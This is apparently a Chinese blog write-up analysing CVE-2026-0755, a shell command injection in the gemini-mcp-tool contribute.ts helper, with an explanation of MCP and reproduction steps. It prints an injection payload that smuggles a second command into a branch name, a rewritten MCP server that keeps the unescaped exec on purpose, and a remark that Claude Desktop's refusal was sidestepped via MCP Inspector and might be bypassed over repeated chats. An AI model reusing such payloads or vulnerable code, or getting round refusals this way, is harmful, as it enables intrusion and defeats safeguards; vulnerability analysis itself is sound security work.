gemini-mcp-tool 命令注入漏洞深度分析(CVE-2026-0755)

11 阅读7分钟

一次从发现到利用的安全漏洞分析之旅

在浏览安全资讯的时候,我偶然间看到了 CVE-2026-0755,这是一个关于 gemini-mcp-tool 的命令注入漏洞。对MCP 协议不太了解,我心里充满了疑问:

  • MCP 到底是什么?为什么会有这样的协议?

  • gemini-mcp-tool 是干什么用的?

  • execAsync 命令注入是如何发生的?

  • 更重要的是:这个漏洞要怎么挖掘和触发?

漏洞简介

gemini-mcp-tool 是一个开源的 npm 包,用于在 Claude Desktop 等 MCP 客户端中集成 Google Gemini AI。该工具允许用户通过 MCP 协议调用 Gemini 的各种能力。在 gemini-mcp-tool 的 contribute.ts 文件中,存在一个命令执行漏洞。该漏洞源于用户输入缺乏充分验证,直接将用户输入拼接到 shell 命令中执行。

影响版本≤ 1.1.2

重要说明:漏洞位于 contribute.ts,该文件并没有直接作为 MCP 服务暴露。它是 gemini-mcp-tool 项目的贡献者辅助工具,它是一个交互式终端UI,一个独立的命令行工具。因此,默认情况下,这个漏洞无法通过 Claude Desktop 等 MCP 客户端直接触发。

MCP 详解

什么是 MCP? MCP(Model Context Protocol,模型上下文协议)是一种用于连接大型语言模型(LLM)与外部数据源、工具的开放标准协议。能够让 AI 模型(如 Claude、Gemini)能够安全地访问和使用外部工具、数据源和服务。

它解决了一个核心问题:

如何让 AI 像人类一样使用工具?比如搜索网页、读取文件、操作数据库、调用 API 等。

MCP 架构图

image

MCP 的完整工作流程

image

MCP Server 的配置与启动

MCP Server 本质上就是一个普通的程序(可以是 Node.js、Python 等编写),它通过标准输入/输出(stdio) 或网络与客户端通信。

要让 Claude Desktop 使用某个 MCP Server,需要在配置文件中注册。

  • Claude Desktop 配置文件位置:

    • macOS: ~/Library/Application Support/Claude/claude_desktop_config.json

    • Windows: %APPDATA%\Claude\claude_desktop_config.json

    • Linux: ~/.config/claude/claude_desktop_config.json

典型配置示例:

{  "mcpServers": {    "my-tool": {      "command": "node",      "args": ["/path/to/server.js"]    }  }}

**001.png
**

关键点: 当 Claude Desktop 启动时,它会读取这个配置,并自动在本地启动这些 MCP Server 程序。

漏洞复现&分析

在 CVE 描述中提到了 execAsync 命令注入 我们直接在代码中搜索 execAsync

image

只有文件 src/contribute.ts 存在这个函数的定义和调用

import { spawn, exec } from "child_process";

代码导入了 Node.js 的 child_process模块,这是 Node.js 提供的子进程管理模块,允许在 Node.js 中执行系统命令。

const execAsync = (command: string): Promise<string> => {  return new Promise((resolve, reject) => {    exec(command, (error, stdout, stderr) => {      if (error) {        reject(new Error(`${error.message}\n${stderr}`));      } else {        resolve(stdout.trim());      }    });  });};

命令执行的核心封装,通过 exec 创建子 shell 进程,执行命令,捕获 stdout/stderr

在菜单中选择 Create Feature Branch 后

image

image

image

这个函数的核心作用是帮助开发者在 Git 仓库中自动创建新的功能分支。整个过程首先会在终端显示一个绿色加粗的标题,告诉用户正在创建分支。然后通过 inquirer.prompt() 这个交互式命令行工具来获取用户输入的功能名称。

当程序执行到 await inquirer.prompt 这一行时:inquirer.prompt() 会在终端显示一个输入框,然后程序会完全暂停执行,等待用户输入内容并按下回车键。用户输入完成后,inquirer.prompt() 会返回一个对象,通过解构赋值 ${featureName} 可以提取出用户输入的功能名称。

拿到用户输入后,程序使用模板字符串来拼接完整的分支名。模板字符串使用反引号包裹的字符串,它最大的特点时可以在字符串中使用 来嵌入变量。当程序执行fˋeature/{} 来嵌入变量。当程序执行 \`feature/{featureName}` 时,${featureName} 这个占位符会在运行时被替换成变量的实际值。

接下来函数会执行一系列 Git 命令。execAsync 函数:会启动一个子进程,在这个子进程中运行传入的 shell 命令(就像在终端中手动输入命令一样),然后等待命令执行完成。每个 await execAsync 都会让程序暂停,直到对应的命令执行完毕才继续下一步。

虽然分支名用双引号包裹了,但这种防护是不充分的。问题的根源在于:用户输入在传递给 shell 执行之前,没有经过转义处理或严格的输入验证。可以通过在输入中插入双引号来提前闭合原有的字符串边界,然后利用 shell 的特殊字符(如 &、;、|、` 等)注入并执行任意命令。

这个工具本质上是一个命令行自动化脚本的图形化封装,通过 Node.js 的子进程能力,将复杂的 Git 工作流程简化为菜单选择操作。

cd gemini-mcp-tool-1.1.2 # 进入项目根目录​git init                 # 初始化 git 仓库git add .                # 将所有文件添加git commit -m "init"     # 创建初始提交git branch -M main       # 将默认分支重命名为 main​​git remote add upstream . # 添加一个假的 upstream(避免 pull upstream 报错)​​npx ts-node src/contribute.ts # 启动程序​# 选择 "Create Feature Branch" 选项来创建功能分支​ test" & calc & echo "        # 输入 payload

7

‍疑问:contribute.ts 只是一个需要手动运行的 CLI 工具,用户必须主动输入恶意 payload。我们要怎样配置才可以让它变成远程代码执行?

我们将代码稍微修改使其变成一个可被远程访问的 mcp 服务

git-workflow-helper.ts​#!/usr/bin/env node​/** * Git 工作流助手 - MCP 服务器 *  * 提供常用的 Git 工作流操作,帮助开发者快速创建功能分支 */​import { Server } from "@modelcontextprotocol/sdk/server/index.js";import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";import {  CallToolRequestSchema,  ListToolsRequestSchema,} from "@modelcontextprotocol/sdk/types.js";import { exec } from "child_process";​// ========================================// 核心功能实现// ========================================​/** * 执行 shell 命令的辅助函数 */const execAsync = (command: string, cwd?: string): Promise<string> => {  return new Promise((resolve, reject) => {    exec(command, { cwd }, (error, stdout, stderr) => {      if (error) {        reject(new Error(`${error.message}\n${stderr}`));      } else {        resolve(stdout.trim());      }    });  });};​/** * 创建功能分支 *  * 自动从主分支创建新的功能分支,并确保代码是最新的 *  * @param featureName - 功能名称,将自动添加 feature/ 前缀 * @returns 操作结果消息 */async function createFeatureBranch(featureName: string): Promise<string> {  try {    const gitRepo = process.env.GIT_REPO_PATH || process.cwd();    const branchName = `feature/${featureName}`;​    // 切换到主分支    await execAsync("git checkout main", gitRepo);​    // 拉取最新更新    await execAsync("git pull upstream main", gitRepo);​    // 创建并切换到新分支    await execAsync(`git checkout -b "${branchName}"`, gitRepo);​    return `✅ Branch created successfully: ${branchName}`;  } catch (error) {    if (error instanceof Error) {      return `❌ Branch creation failed: ${error.message}`;    }    return `❌ Unknown error occurred`;  }}​// ========================================// MCP 服务器配置// ========================================​const server = new Server(  {    name: "git-workflow-helper",    version: "1.0.0",  },  {    capabilities: {      tools: {},    },  });​/** * 注册可用工具 */server.setRequestHandler(ListToolsRequestSchema, async () => {  return {    tools: [      {        name: "create_feature_branch",        description:          "Create a new Git feature branch from main. Automatically pulls latest changes and creates a properly named feature branch.",        inputSchema: {          type: "object",          properties: {            feature_name: {              type: "string",              description:                "Name of the feature (e.g., add-login-page, fix-bug-123, update-documentation). Do not include 'feature/' prefix as it will be added automatically.",            },          },          required: ["feature_name"],        },      },    ],  };});​/** * 处理工具调用 */server.setRequestHandler(CallToolRequestSchema, async (request) => {  if (request.params.name === "create_feature_branch") {    const featureName = request.params.arguments?.feature_name as string;​    if (!featureName) {      return {        content: [          {            type: "text",            text: "❌ Error: feature_name parameter is required",          },        ],      };    }​    const result = await createFeatureBranch(featureName);​    return {      content: [        {          type: "text",          text: result,        },      ],    };  }​  return {    content: [      {        type: "text",        text: `❌ Unknown tool: ${request.params.name}`,      },    ],  };});​// ========================================// 启动服务器// ========================================​async function main() {  const transport = new StdioServerTransport();  await server.connect(transport);​  console.error("Git Workflow Helper started");  console.error("Ready to assist with Git operations");  console.error(`Working directory: ${process.env.GIT_REPO_PATH || process.cwd()}`);}​main().catch((error) => {  console.error("Fatal error:", error);  process.exit(1);});

npm install --save-dev typescriptnpx tsc src/git-workflow-helper.ts --outDir dist --module commonjs --target es2020 --esModuleInteropmove dist\git-workflow-helper.js dist\git-workflow-helper.cjs

image

image

image

Claude Desktop 利用失败

image

image

image

我们发现在 Claude Desktop 上利用失败了,是因为 Claude AI 的智能安全防护层会自动识别和拒绝危险操作,即使 MCP 工具本身有漏洞,Claude 也会拒绝执行看起来像是命令注入的操作。(或许可以通过多次对话绕过安全识别)

我们可以通过 MCP Inspector(Model Context Protocol官方调试工具),它只是一个技术调试工具,直接传递数据,没有任何安全判断机制,纯粹用于开发者测试 MCP 工具的原始功能,能够精确展示 MCP 工具本身的漏洞,而不会被上层 AI 安全机制拦截。

npx @modelcontextprotocol/inspector node dist/git-workflow-helper.cjs

8